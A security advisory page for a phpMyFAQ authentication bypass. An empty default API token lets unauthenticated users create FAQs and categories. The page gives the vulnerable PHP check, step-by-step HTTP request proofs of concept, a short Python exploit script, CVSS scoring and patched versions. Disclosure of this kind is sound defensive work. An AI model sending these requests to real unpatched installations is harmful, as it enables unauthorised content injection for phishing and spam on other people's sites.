phpMyFAQ: Default Empty API Token Authentication Bypass

Description

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File Endpoint Method
src/.../Controller/Api/FaqController.php:701-703 /api/v4.0/faq/create POST
src/.../Controller/Api/FaqController.php:857-859 /api/v4.0/faq/update PUT
src/.../Controller/Api/CategoryController.php:278-280 /api/v4.0/category POST
src/.../Controller/Api/QuestionController.php:89-91 /api/v4.0/question POST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "[email protected]",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test x-pmf-token HTTP Status Result
No auth header (not sent) 401 Unauthorized 🔒 Correctly blocked
Empty token header "" 201 Created 🔓 Bypass confirmed
Category creation "" 201 Created 🔓 Bypass confirmed
Public verification (not needed) 200 OK 📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-20 15:46:42 UTC
Updated
2026-06-09 00:05:54 UTC
GitHub reviewed
2026-05-20 15:46:42 UTC
NVD published
2026-05-28

EPSS Score

Score Percentile
0.10% 26.96%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.
8.7 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:N)
No confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:N)
No availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.
Exploit maturity (threat) (E:X)
Not defined: no reliable threat intelligence; scoring assumes the worst case (equivalent to Attacked).
Confidentiality requirement (CR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Integrity requirement (IR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Availability requirement (AR:X)
Not defined: insufficient information; scoring treats this like High (worst case).
Modified attack vector (MAV:X)
Not defined: scoring uses the Base Attack Vector (AV).
Modified attack complexity (MAC:X)
Not defined: scoring uses the Base Attack Complexity (AC).
Modified attack requirements (MAT:X)
Not defined: scoring uses the Base Attack Requirements (AT).
Modified privileges required (MPR:X)
Not defined: scoring uses the Base Privileges Required (PR).
Modified user interaction (MUI:X)
Not defined: scoring uses the Base User Interaction (UI).
Modified vulnerable system confidentiality impact (MVC:X)
Not defined: scoring uses the Base VC metric.
Modified vulnerable system integrity impact (MVI:X)
Not defined: scoring uses the Base VI metric.
Modified vulnerable system availability impact (MVA:X)
Not defined: scoring uses the Base VA metric.
Modified subsequent system confidentiality impact (MSC:X)
Not defined: scoring uses the Base SC metric.
Modified subsequent system integrity impact (MSI:X)
Not defined: scoring uses the Base SI metric.
Modified subsequent system availability impact (MSA:X)
Not defined: scoring uses the Base SA metric.
Safety (supplemental) (S:X)
Not evaluated.
Automatable (supplemental) (AU:X)
Not evaluated.
Recovery (supplemental) (R:X)
Not evaluated.
Value density (supplemental) (V:X)
Not evaluated.
Vulnerability response effort (supplemental) (RE:X)
Not evaluated.
Provider urgency (supplemental) (U:X)
Not evaluated.

Identifiers

CWEs

CWE id Name
CWE-1188 Initialization of a Resource with an Insecure Default

Credits

  • guayu-kakeru (reporter)

Affected packages (2)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer thorsten/phpmyfaq <= 4.1.2 4.1.3
composer phpmyfaq/phpmyfaq <= 4.1.2 4.1.3

References

cvelogic Threat Intelligence